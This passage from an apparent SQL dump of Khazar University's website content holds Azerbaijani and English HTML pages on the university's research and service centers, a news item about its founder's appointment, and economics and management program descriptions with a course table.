edilmişdir.</p><p style=\"text-align:justify\">İnstitut müxtəlif dövlət rəsmilərinin, diplomat və alimlərin iştirakı ilə müntəzəm konfrans, seminar və müzakirələr, həmçinin, böhran simulyasiyası üzrə tələbələrin iştirakı ilə illik konfranslar &nbsp;keçirir. Siyasət İnstitutu yerli və xarici məruzəçilər, tədqiqat qrupları, konfrans və praktika da daxil olmaqla geniş çeşiddə proqram və resurslar təklif edir.</p>\r\n<div><br></div><div><span style=\"text-align:justify\"><br></span></div><div><span style=\"text-align:justify\"><br></span></div><p>2010-cu ilin Mayın 9-da&nbsp; &nbsp;Xəzər Universiteti və ATƏT-in birgə layihəsi əsasında Xəzər Universitetində ATƏT Model konfransı keçirilmişdir. Ölkənin ilk ATƏT Model konfransında Azərbaycanın 12 universitetinin 60-dan çox tələbəsi iştirak etmişdir.</p><p>2005-2006-cı ildə Siyasət İnstitutu Britaniya Konsulluğu ilə bu konsulluğun dünyavi “Gələcəklə bağlantı”&nbsp; proqramı çərçivəsində “Birlikdə yaşamaq” layihəsinin həyata keçirilməsi üçün tərəfdaşlığa cəlb edilib. Bu layihə zamanı İnstitut Azərbaycanın müxtəlif rayonlarından&nbsp; olan gənclər üçün münaqişənin həllinə dair bir sıra seminarlar keçirib. Bunlardan biri də&nbsp; Ermənistan, Azərbaycan, Gürcüstan və Şimali İrlandiyadan olan gənclər üçün təlimçilərin əsas təlimi adlı seminar olmuşdu.</p><p>&nbsp; “Azərbaycanın gələcəyinin modelləşdirilməsi: Meyl və imkanların araşdırılması” mövzusunda 2005-ci il 18-19 iyul tarixdə keçirilmiş ikigünlük seminarda Azərbaycanın mühüm dövlət məsələləri ilə bağlı meyl və imkanların araşdırılmasına həsr olunmuş müzakirələrdə dövlət siyasətinin öyrənilməsi ilə bağlı 60-dək alim, praktikant, tələbə, eləcə də hökumət rəsmiləri və vətəndaş vətəndaş cəmiyyəti liderləri iştirak etmişlər. Konfrans Amerika Birləşmiş Ştatlarının Azərbaycandakı Səfirliyi və Xəzər Universitetinin maliyyə dəstəyi ilə həyata keçirilmişdir 2005-ci ilin 30 aprelində İkinci İllik Böhran Simulyasiya məşğələsi&nbsp; keçirilmiş və Bakının dörd ali məktəbinin 70-ə yaxın tələbəsi həmin məşğələdə iştirak tmişdir.</p><p>Xəzər Universiteti, Bakı Dövlət Universiteti, Azərbaycan Dövlət İqtisad Universiteti və Bakı Slavyan Universitetinin tələbələrindən ibarət yeddi komanda Cənubi Qafqazda simulyativ böhranı həll etmək üçün roloyunu oyunda&nbsp; Milli Təhlükəsizlik Şurasını (MTŞ) təqlid etmişlər. Məşğələ İngilis dilində keçirilmişdir.2004-cü ilin 22-26 Noyabrında Xəzər Universitetinin Siyasət İnstitutu&nbsp; Azərbaycanda siyasi problemləri necə həll etməli mövzusunun siyasi təhlili ilə əlaqədar olaraq Birinci İllik İcraedici Təhsil seminarını keçirdi. Bu unikal seminar Azərbaycan Avrasiya Fondu&nbsp; və Amerika Birləşmiş Ştatlarının Azərbaycandakı Səfirliyinin himayəsi altında problemin müəyyənləşdirilməsi, siyasətin formalaşdırılması və qərar qəbul etmə məsələlərini inamla və səmərəli həll etmək üçün hökumət və dövlət sektorunun rəhbərləri və analitikləri, eləcə də müəllim və tələbələri əsas biliklərlə təmin etmək məqsədilə keçirilmişdir. Vaşinqtonda yerləşən Amerika Universitetinin Dövlət və Dövlət İdarəçiliyi üzrə&nbsp; professoru Dr. Beril Radinin rəhbərlik etdiyi bu seminarda 25 dövlət məmuru və siyasi analitiklər, QHT rəhbərləri, Azərbaycan və Gürcüstan müəllim heyəti və yuxarı kurs tələbələri iştirak etmişlər.</p>  <p><br></p><br>  <div><br>\r\n</div><div><br></div>\r\n<div><img src=\"/files/15_10_14_translating.jpg\" style=\"width:250px;height:250px;margin:7px;float:left\"></div><p><span style=\"color:#330066\"><strong><em>X</em></strong><strong><em>əzər Universiteti Tərcümə Araşdırmaları Mərkəzi</em></strong></span></p><div>Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi 27 aprel 2000-ci ildə yaradılmışdır. Mərkəzin əsas məqsədi akademik, bədii, fəlsəfi və texniki əsərləri müxtəlif müasir dillərdən Azərbaycan dilinə çevirməkdir. Azərbaycan mədəniyyətinin bir çox qiymətli nümunələrinin də başqa dillərə tərcüməsi nəzərdə tutulur. Mərkəz&nbsp; tərcümənin tədqiqi və tədrisi işlərinə də cəlb olunur.</div><p>Tərcüməçilik tədqiqatın fərqli sahələrində çalışan alimlər arasında əməkdaşlıq üçün imkanların yaranmasına səbəb olaraq özlüyündə bənzərsiz bir tədqiqat formalaşdırır.</p><p>Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi artıq tədqiqatçıların və tələbələrin təhsil aldıqları və tərcüməçiliklə məşğul olduqları elmi orqana çevrilib.Tərcümə Araşdırmaları Mərkəzi peşəkar tərcüməçilərlə yanaşı gənc tərcüməçiləri də mərkəzin işlərinə cəlb edir, tərcümənin müxtəlif sahələrinə dair nəzəri-praktik konfranslar keçirir.&nbsp; Mərkəz həmçinin&nbsp;&nbsp; Dilçilik, Ədəbi tərcümə, Tərcümə və poeziya, Tərcümə nəzəriyyəsi və vasitələri və sairə kimi mövzularda müzakirələr aparır.&nbsp;Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi təlimlər vasitəsilə tələbələrə peşəkar dil bacarıqlarını artırmağa və istifadə etməyə imkan verir.&nbsp;Tərcümə Araşdırmaları Mərkəzi universitetin digər akademik və araşdırma mərkəzləri ilə yaxından əməkdaşlıq edir. &nbsp;Mərkəz təkcə bədii tərcümə deyil, kommersiya və hüquqi tərcümə ilə də məşğul olur.</p><p>Xəzər Universiteti Tərcümə Araşdırmaları Mərkəzi Xəzər Universitetinin Nəşriyyatı ilə birlikdə&nbsp; bir neçə layihəsini həyata keçirir. Bu layihələrin bir qismi ABŞ-ın maliyyə dəstəyi ilə həyata keçirilir.&nbsp;Tərcümə olunan kitabların siyahısına aşağıdakılar daxildir:</p><ul style=\"font-size:medium\"><li>Tadeuş Svietochoivski “Rusiya və Azərbaycan: sərhədyanı keçid\"</li><li>M. L. Stein, Susan Paterno “Müxbirin məlumat kitabçası: jurnalistikaya giriş \"</li><li>Ray Eldon Hiebert, Donald F. Ungurait, Thomas W. Bohn \"KİV: müasir kommunikasiyaya giriş\".</li><li>Hovard Cincotta, Deborah Conn, Serena Kim, Megan Loftus \"Amerika müsəlmanları\"</li></ul><p>Mərkəzin tərcüməçiləri hal-hazırda Hafiz Paşayevin \"Yuxarılara qədər qalxarkən\" əsərinin üzərində işləyirlər.&nbsp;Yeni tərcümə layihəsi 2005-ci ildə başlamışdır. &nbsp;Tərcüməçi qrup o cümlədən Hamlet İsaxanlı tərəfindən hazırlanan \"Poetik tərcümələr: 1-ci Toplu\"-su nəşr edilmişdir.</p>  <div><br></div>\r\n<div>\r\n<hr width=\"100%\">\r\n</div>\r\n<div>&nbsp;<img src=\"http://www.khazar.org/files/15_10_14_logo.jpg\" style=\"width:250px;height:81px;margin:7px;float:left\"><img src=\"/files/15_10_13_Slide1.jpg\" style=\"border:0px  #000000;width:250px;height:107px;margin:7px;float:left\"></div>\r\n<div><br></div><div><br></div><div><br></div><div><br></div><p><span style=\"color:#0000ff\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/15_10_13_Slide1.jpg\" rel=\"media9371315613367954\" width=\"100\" height=\"100\"> <img src=\"&gt;&lt;em style=\" color:#330066\"=\"\"></span></p><p><span style=\"color:#0000ff\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/15_10_13_Slide1.jpg\" rel=\"media9371315613367954\" width=\"100\" height=\"100\"><strong style=\"color:#660066\">Hüquq Tədris Mərkəzi</strong></span></p>\r\n<p style=\"text-align:justify\">2013-cü ilin yanvar ayında ABŞ İnkişaf Agentliyi (USAİD) və Xəzər Universitetinin dəstəyi ilə “Azərbaycan Hüquq Konsorsiumu” layihəsi çərçivəsində yaradılmışdır. &nbsp;Ümumi məqsədlər - &nbsp;hüququn aliliyinin, vətəndaşların hüquqlarının və maraqlarının daha yaxşı müdafiəsinin təmin olunması üçün hüquqi maarifləndirmə və vətəndaş cəmiyyətinin təsirliliyinin artırılmasıdır. Layihənin xüsusi məqsədləri isə Azərbaycan hökümət dairələrinin vətəndaşların hüquqlarının qorunması sahəsində həyata keçirilən islahatların inkişafının aktiv şəkildə dəstəklənməsi və təşviq edilməsi, müştərilərə yardım göstərilməsi və qanunların tətbiqi sahəsində hüquqi peşəkarlığın səviyyəsinin artırılmasından ibarətdir.</p><p style=\"text-align:justify\">Hazırda Azərbaycanda gənc hüquqşünasların hazırlanması əsasən akademik&nbsp; səviyyədə keçirilir. Belə ki, tələbələrin kifayət qədər praktiki vərdişlərə yiyələnməməsi uğurlu karyeranın başlanmasına təsir edir. Bu məqsədlə Mərkəzdə gənc məzun və hüquqşünas tələbələr üçün intensiv təlimlərin keçirilməsi və müxtəlif mövzuda nəşriyyatların çap olunması nəzərdə tutulur. Kursların nüfuzunu və xidmətlərin yüksək keyfiyyətliliyini&nbsp; təmin etmək məqsədilə Tədris Mərkəzinə hüquq elmini tədris edən aparıcı mütəxəssislər və praktik hüquqşünaslar cəlb olunur. Bundan başqa, gənc hüquqşünaslara və hüquq tələbələrinə insan hüquqları üzrə biliklərin praktiki baxımdan təkmilləşdirilməsi, vəkillik bacarıqlarının aşılanması, məhkəmə çəkişmələri və məhkəmə çıxışları zamanı peşəkar hüquqşünaslarla müşayiət olunmaları nəzərdə tutulmuşdur. Mərkəz hər il ən azı 20 tələbəyə yüksək keyfiyyətli əsaslarla təlim-tədris kursları keçməyi və 6-7 gənc hüquqşünası Vəkillər Kollegiyasına üzv olmaq üçün imtahanlara hazırlaşdırmağı planlaşdırır.</p><div style=\"text-align:justify\">&nbsp;Mərkəzin məqsədi aşağıdakılardan ibarətdir:</div><ul><li>İnsan hüquq və azadlıqları sahəsində biliklərin və məlumatların artırılması, cəmiyyətdə konstitusionalizm dəyərlərinin təbliği;</li><li>Gənc hüquqşünasların vəkillik üzrə imtahanlara hazırlanması;</li><li>Az təminatlı əhali qruplarına pulsuz hüquqi yardımların göstərilməsi;</li><li>İnsan hüquqlarının müdafiəsi ilə məşğul olan təsisatların nümayəndələrinin və üzvlərinin insan hüquqlarının müdafiəsinin milli və beynəlxalq mexanizmlərində istifadə bacarığının artırılması üçün dövrü kursların təşkili;</li><li>Gənc hüquqşünasların və Azərbaycan Respublikasının ərazisində fəaliyyət göstərən Universitetlərin hüquq fakültəsi tələbələri ilə hüquq sahəsində tanınmış milli və beynəlxalq ekspertlərlə görüşlərin təşkili;</li><li>Vəkillər, praktiki fəaliyyətlə məşğul olan hüquqşünaslar, hakimlər, insan hüquqlarını müdafiə edən təsisatlar və şəxslər üçün praktikumların, manualların, metodiki vəsaitlərin hazırlanması və mütəmadi sərgi təşkil etməklə onların satışının təşkili.</li></ul><p style=\"text-align:justify\">Hüququn ayrı-ayrı sahələrindəki boşluqları nəzərə alaraq yerli və beynəlxalq ekspertlərin dəstəyi əsasında Mərkəzdə İnzibati hüquq, Cinayət hüququ, Qanunvericilik texnologiyası, &nbsp;Vəkillik imtahanına hazırlıq, İnsan Hüquqları üzrə Avropa Məhkəməsinin Presedent Hüququ, Ailə hüququ, Əmək hüququ, Hüquqi yazı və s. mövzularda təlimlər keçiriləcək.</p>  \r\n<p><br></p><p><strong><em style=\"color:#660066\">Xəzər Psixoloji Xidmət Mərkəzi </em></strong> <br></p><p style=\"text-align:justify\">29.02.16 tarixində Xəzər Psixoloji Xidmət Mərkəzinin açılış təqdimatı keçirilmişdir. Təqdimat mərasimində mərkəzin koordinatoru Mələk Kərimova&nbsp; Xəzər Psixoloji Xidmət Mərkəzinin hansı zərurətdən ortaya çıxdığını və hansı xidmətləri nəzərdə tutduğu barədə ətraflı məlumat verdi. O bu mərkəzin&nbsp; tələbələrə və kənar şəxslərə psixoloji xidmət və dəstək vermək üzrə Xəzər universitetinin rektorunun əmri əsasında yaradılan struktur&nbsp;&nbsp;mərkəzlərdən biri olduğunu qeyd etmişdir. Mərkəzin&nbsp; Universitetin nizamnaməsi və daxili qaydaları əsasında fəaliyyət göstərəcəyini bildirən Mələk Kərimova &nbsp;mərkəzdə psixoloji seminarlar, kurslar, təlimlər, konfranslar&nbsp; təşkil ediləcəyini, elmi tədqiqat işləri aparılacağını,&nbsp; universitetin&nbsp; tələbələrinə (ödənişsiz) və eləcə də kənar şəxslərə (ödənişli)&nbsp; psixoloji xidmət&nbsp; və dəstək xidməti&nbsp; veriləcəyini qeyd etmişdir. Prof.Dr. Hamlet İsaxanlı da mərkəzin açılışı ilə əlaqədar ürək sözlərini ifadə etmişdir. Təqdimat mərasimində iştirakçılardan gələn suallar cavablandırılmış və struktur bölmələr arasındakı işbirliyi vurgulanmışdır.&nbsp;Xəzər universiteti nəzdində fəaliyyət göstərən Xəzər Psixoloji Xidmət &nbsp;Mərkəzi (XPXM) 2016-cu ildə yaradılmışdır. Mərkəz Xəzər universitetinin tələbə, müəllim, işçi heyəti ilə yanaşı, respublika səviyyəsində ictimaiyyətə müxtəlif istiqamətlərdə yüksəkkeyfiyyətli xidmətlər təklif edir. PMPM-nin işindən kimlər &nbsp;yararlana bilər:</p><div><ul><li>İstənilən yaş qrupuna aid olan insanlar;</li><li>Müxtəlif növdə psixoloji problemləri olan şəxslər;</li><li>Şirkətlər və korporasiyalar (fərdi və ya qrup halında seanslar)</li></ul><p>Psixoloji Məsləhət və Psixoterapiya Mərkəzində işləyən mütəxəssislə&nbsp;&nbsp;Avropa və ABŞ-da təhsil almış peşəkar psixoloqlardır. Bununla yanaşı, tez-tez xarici ölkələrdən dəvət olunmuş peşəkar psixoloqlar, mütəxəssislər bu mərkəzdə psixoloji məsləhət və psixoterapiya seansları keçirirlər. PMPM-ə müraciət edən şəxslərlə bağlı məlumatların tam anonim saxlamasına zəmanət verilir. PMPM-də müxtəlif psixoloji və sosial problemlərlə üzləşən insanlara aşağıdakı istiqamətlərdə yardım göstərilir:&nbsp;</p></div>  <p><br></p><ul><li>İnsanlarla münasibətdə yaranan p<img src=\"http://www.khazar.org/files/social/16_04_15_DSC_2072.JPG\" style=\"box-sizing:border-box;border:0px #000000;vertical-align:middle;outline:rgb(221, 221, 221) solid 4px;outline-offset:-4px;width:250px;height:165px;margin:7px;float:right\">roblemlər</li><li>Təhsillə bağlı problemlər</li><li>Peşə planlaması</li><li>Cinsi terapiyalar</li><li>Fiziki və cinsi təcavüz</li><li>Qəzəbin öhdəsindən gəlmə</li><li>Stress</li><li>Depressiya</li><li>Panika</li><li>Həyəcan və qorxu (fobiyalar)</li><li>Məktəb və iş yerində yaranan problemlər</li><li>Imtahan həyəcanı</li><li>Sosial fobiya&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li><li>IQ testlər</li><li>Bununla yanaşı mərkəz bir sıra digər işləri də həyata keçirir:&nbsp;</li><li>Konfransların təşkili və psixologiyanın müxtəlif sahələrində tədqiqatlar aparmaq;</li><li>Psixologiya elminə töhfələr vermək</li><li>Psixologiya ixtisası üzrə təhsil alan tələbələr üçün tədris və təcrübə imkanları yaratmaq</li></ul><br><br> <p><br></p><p><br></p><p><br></p>'),(2168,1330,'az','Təsisçi yeni yaradılan dövlət qurumuna seçildi','Azərbaycan Respublikasının Baş naziri Artur Rasizadənin “Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika Şurasının yeni tərkibinin təsdiq edilməsi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Azərbaycan\r\nRespublikasının Baş naziri Artur Rasizadənin “Azərbaycan Respublikasının Dövlət\r\nStatistika Komitəsi yanında Statistika Şurasının yeni tərkibinin təsdiq edilməsi\r\nhaqqında” imzaladığı qərara əsasən Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı yeni yaradılmış qurumun\r\nüzvü seçilmişdir.<o:p></o:p></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qərarla bağlı<strong><em>\r\n</em></strong>müxtəlif xəbər saytlarının rəsmi İnternet səhifələrində məlumat\r\nverilmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu haqda daha geniş məlumatı bu linklər\r\nvasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://paralel.az/manshet/3239-artur-rasizade-qerar-imzaladi.html\">http://paralel.az/manshet/3239-artur-rasizade-qerar-imzaladi.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://apa.az/xeber-az/sosial_xeberler/dovlet-statistika-komitesi-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib.html\">http://apa.az/xeber-az/sosial_xeberler/dovlet-statistika-komitesi-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://hurriyyet.org/12142-hokumet-qerar-verdi-komitede-shuranin-terkibi-tesdiqlendi.html\">http://hurriyyet.org/12142-hokumet-qerar-verdi-komitede-shuranin-terkibi-tesdiqlendi.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://report.az/daxili-siyaset/dsk-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib\">http://report.az/daxili-siyaset/dsk-yaninda-statistika-surasinin-yeni-terkibi-tesdiqlenib</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.dia.az/8/119528-dovlet-statistika-komitesi-yaninda-statistika-shurasinin-yeni-terkibi-tesdiqlenib.html\">http://www.dia.az/8/119528-dovlet-statistika-komitesi-yaninda-statistika-shurasinin-yeni-terkibi-tesdiqlenib.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://politika.az/karusel/21097-bu-memurlara-yeni-vezife-verildi.html\">http://politika.az/karusel/21097-bu-memurlara-yeni-vezife-verildi.html</a>.&nbsp;</p>  <br>'),(567,380,'az','Akademik proqramlar',' Bütün proqramlar','<p>İqtisadiyyat və Menecment fakültəsinin İqtisadiyyat və Menecment departamenti&nbsp;bakalavr, magistr və doktorantura &nbsp;proqramları təklif edir.&nbsp;Tədris İngilis dilindədir. Müəllimlərinin tədqiqat və tədris fəaliyyətinə və şəxsi təcrübənin geniş əhatə dairəsinə,&nbsp;eləcə də &nbsp;xarici alimlər və ali təhsil müəssisələri ilə əlaqələri sayəsində proqramlar bütün beynəlxalq standartlara nail olub. Yüksək ixtisaslı mütəxəssislər,&nbsp;yerli və xarici şirkətlərin menecerləri, eləcə də tərəfdaş universitetlərin&nbsp; professorları&nbsp;tədris prosesində iştirak edir.&nbsp;</p><p><span class=\"<img src=\" http:=\"\" khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 9b8f1898=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media6382393466774374\" width=\"150\" height=\"100\" style=\"outline: none; font-weight: bold; color: rgb(58, 59, 59); background-color: rgb(255, 255, 255);\"><a href=\"http://www.khazar.org/az/menus/219/bachelor_programs\">Bakalavr pilləsində&nbsp;proqramlar</a><a href=\"http://www.khazar.org/az/menus/363/_bakalavr_derecesi_proqrami\"></a></span></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"http://www.khazar.org/en/menus/364/graduate_programs\">Magistr pilləsində proqramlar</a></strong></p><p margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"http://www.khazar.org/en/menus/1357/double_degree_programs\">İkili bakalavr və magistr&nbsp;dərəcə proqramları</a></strong></p>'),(568,380,'en','Academic Programs','All Programs','<p margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">The Department of Economics and Management&nbsp;in&nbsp;SEM offers undergraduate, graduate\r\nand professional degree programs. The language of instruction is English. All\r\nof the programs attain international standards due to faculty members\' research\r\nand teaching activities and a broad scope of personal experience and contacts\r\nwith international scholars and higher learning institutions. Highly qualified\r\nexperts and managers from local and international companies, as well as\r\nvisiting professors of partner universities participate in teaching.</p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><a href=\"http://www.khazar.org/en/menus/219/bachelor_programs\">Undergraduate Programs</a></strong></p>\r\n<p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><a href=\"http://www.khazar.org/en/menus/364/graduate_programs\">Graduate\r\nPrograms</a></strong></p><p style=\"font-size: medium;\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><a href=\"http://www.khazar.org/en/menus/1357/double_degree_programs\">Dual&nbsp;Degree&nbsp;Programs</a></strong>  <br></p>'),(569,372,'az','Tarixi','Tarixi','<p>Əsası 1991-ci ildə\r\nqoyulan İqtisadiyyat və Menecment fakültəsi Azərbaycanda ən aparıcı işgüzar\r\nfakültəyə çevrilmiş, tədris proqramlarının və dərslərinin hazırlanıb təqdim\r\nedilməsindəki keyfiyyət və yenilikçi təşəbbüsünə görə beynəlxalq nüfuz qazanmışdır.\r\nFakültə Azərbaycanda regional tələblərə uyğun açıq Qərb təlim sisteminin tətbiqi\r\nvə inkişafında birinci olmuşdur. İqtisadiyyat və Menecment fakültəsi ali təhsilin\r\nbakalavr, magistratura və doktorantura pillələri üzrə proqramlar təklif edir.</p>\r\n<p>Özünün peşəkar\r\nprofessor-müəllim heyətinə malik fakültənin əsas missiyası İqtisadiyyat, Beynəlxalq\r\nİqtisadiyyat, Marketinq, Maliyyə, Mühasibat, Menecment, Beynəlxalq Biznes və\r\ndigər sahələrdə inkişafa meyilli, milli və beynəlxalq işgüzar mühitdə uğurla\r\nçıxış edəcək mütəxəsislər hazırlamaqdır.</p><p>\r\nFakültənin tam ali təhsil proqramları isə xüsusi ilə\r\nuğurlu və təcrübəli iş adamlarının akademik tələblərinə uyğun və eləcə də iş həyatında\r\nilk addımlarını atan tələbələr üçün biznes və idarəetmə anlayışları haqqında ətraflı\r\nməlumatla təmin etməyi nəzərdə tutmuşdur.</p>'),(570,372,'en','History','History','<p>Established in 1991, the School of Economics and Management (SEM) at Khazar University has become a leading business school in Azerbaijan, and has earned an international reputation for its commitment to quality and innovation in the design and delivery of its programs and courses. It has been a pioneer in the introduction and development of an open Western learning system in Azerbaijan, adapted to the regional needs.The SEM offers undergraduate, graduate and professional programs leading to Bachelor\'s, Master\'s and PhD degrees. With its outstanding faculty and dedicated students, the School envisions its mission as developing specialists in Economics, International Economics, Marketing, Finance, Accounting, Management, International Business and other areas, who could successfully perform in national and international business environments.The School’s graduate programs are specifically designed to meet academic requirements of successful and experienced business people, as well as those coming to business for the first time, and to provide an in-depth understanding of business and management.</p>'),(571,373,'az',' Bakalavr dərəcəsi proqramı',' Bakalavr dərəcəsi proqramı','<div><br></div><p>İqtisadiyyat və menecment fakültəsi bakalavr, magistr və doktorantura &nbsp;proqramları təklif edir. Tədris ingilis dilindədir. Müəllimlərin tədqiqat və tədris fəaliyyəti və şəxsi təcrübənin geniş əhatə dairəsi,eləcə də&nbsp;onların xarici alimlər və ali təhsil müəssisələri ilə əlaqələri sayəsində bütün proqramların beynəlxalq standartlara uyğunluğuna nail olunub. Yüksək ixtisaslı mütəxəssislər və yerli və xarici şirkətlərin menecerləri, eləcə də tərəfdaş universitetlərin&nbsp; professorları&nbsp;tədris prosesində iştirak edir.Bakalavr dərəcəsi proqramıİqtisadiyyat və Menecement fakültəsi Maliyyə, Mühasibat uçotu və audit, Beynəlxalq Biznes, Menecement, Marketinq, İqtisadiyyat və Beynəlxalq İqtisadiyyat ixtisası üzrə bakalavr təhsili verir.İqtisadiyyat və Menecement fakültəsinin bakalvr dərəcəsininin tələbləri&nbsp; 128 ümumi kredit təşkil edən üç əsas hissədən ibarətdir.</p><ul><li>Universitet tələbləri</li><li>Ümumitəhsil tələbləri</li><li>Biznes fondu və ixtisasla bağlı tələblər</li></ul><p>Universitet tələblərinə ümumi sayı 27 kredit olan iki əsas komponentlər daxildir.İngilis dili üzrə 15 kredit daxildir:</p><ul><li>Dinləmə / Oxu 1 (3 kredit)</li><li>Danışıq / Yazı 1 (3 kredit)</li><li>Dinləmə / Oxu 2 (3 kredit)</li><li>Danışıq / Yazı 2 (3 kredit)</li><li>Xüsusi məqsədlər üçün İngilis dili (3 kredit)</li></ul><br><span style=\"font-size:large\">Azərbaycan dili tədrisində 12 kredit daxildir:</span><br><ul><li>Azərbaycan dili və tərkibi (3 kredit)</li><li>Azərbaycan ədəbiyyatı (3 kredit)</li><li>Azərbaycan mədəniyyəti (3 kredit)</li><li>Azərbaycan tarixi (3 kredit)</li></ul><p>Ümumi Təhsil tələbləri tələbələri&nbsp; minimum 21 kreditlə təmin edir.\r\nHumanitar elmlərə ədəbiyyat, dil və dilçilik, fəlsəfə, tarix, mədəniyyət və sivilizasiya, incəsənət və incəsənət tarixi daxildir. Tələbələr hər biri 3 kreditdən ibarət olan minimum 6 kreditli 2 fənn götürməlidir.Sosial Elmlərə Coğrafiya, Siyasi Elmlər, Beynəlxalq Münasibətlər, Hüquq və İdarəetmə, Antropologiya, İqtisadiyyat, Sosiologiya və Psixologiya aiddir. Tələbələr hər biri 3 kreditdən ibarət olan minimum 6 kreditli 2 fənn götürməlidir. Fakültə Sosial Elmlər fənni kimi Makroiqtisadiyyatın esasları fənnini də tövsiyə edir.Texnologiya və təbiət elmləri ümumitəhsil proqramının bir hissəsi kimi üç sahəni özündə birləşdirir.Tələbələr&nbsp; minimum 9 kreditli üç fənn götürməlidir.</p><ul><li>Fizika elmləri və Riyaziyyat</li><li>Həyat elmləri</li><li>Kompüter elmləri</li></ul><br>Hər bir ixtisas&nbsp; üçün ixtisasla bağlı&nbsp; tələblər iki qrupa bölünür:&nbsp; Tələb olunanlar və Seçmə fənlər.Azad seçimlər: Tələbələr ən azı əlavə 6 kreditli iki dərs götürməlidir. Bu dərslər heç bir məhdudiyyət olmadan hər hansı ixtisas və qeyri-ixtisas bölmələri tərəfindən götürülə bilər.Maliyyə üzrə bakalavr dərəcəsi proqramıBu ixtisas Maliyyə, maliyyə təhlili, maliyyə menecmenti və bank sahəsində karyera qurmaq istəyən tələbələr üçün nəzərdə tutulmuşdur. Proqram tələbələrdə maliyyə və digər qurumlarda yerinə yetirilən maliyyə əməliyyatları haqqında bilikləri inkişaf etdirir, bu əməliyyatların düzgün həyata keçirilməsi üçün lazım olan bacarıqları aşılayır.&nbsp;<br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"597\"><tbody><tr><td width=\"186\">Kod</td><td width=\"325\">Fənlər</td><td width=\"87\">Kreditlər</td></tr><tr><td width=\"186\">Biznesin mahiyyəti</td><td width=\"325\">&nbsp;</td><td width=\"87\">&nbsp;</td></tr><tr><td width=\"186\">BSA 101</td><td width=\"325\">Biznesə giriş</td><td width=\"87\">3</td></tr><tr><td width=\"186\">ECON 201</td><td width=\"325\">Mikroiqtisadiyyatın əsasları</td><td width=\"87\">4</td></tr><tr><td width=\"186\">ACC 210</td><td width=\"325\">Mühasibat uçotunun əsasları</td><td width=\"87\">3</td></tr><tr><td width=\"186\">ACC 310</td><td width=\"325\">Maliyyə mühasibat uçotu</td><td width=\"87\">3</td></tr><tr><td width=\"186\">BSA 210</td><td width=\"325\">Kompüterlərin biznesdə tətbiqi</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MATH 225</td><td width=\"325\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"87\">3</td></tr><tr><td width=\"186\">BSA 250</td><td width=\"325\">Biznes statistikası</td><td width=\"87\">4</td></tr><tr><td width=\"186\">MKT 301</td><td width=\"325\">Marketinqin əsasları</td><td width=\"87\">3</td></tr><tr><td width=\"186\">LAW 305</td><td width=\"325\">Biznes hüququ</td><td width=\"87\">3</td></tr><tr><td width=\"186\">FIN 310</td><td width=\"325\">Maliyyə menecmentinin əsasları</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MGT 310</td><td width=\"325\">Menecement</td><td width=\"87\">3</td></tr><tr><td width=\"186\">ECON 390</td><td width=\"325\">Dünya iqtisadiyyatı</td><td width=\"87\">3</td></tr><tr><td width=\"186\">IB 410</td><td width=\"325\">Beynəlxalq biznes</td><td width=\"87\">3</td></tr><tr><td 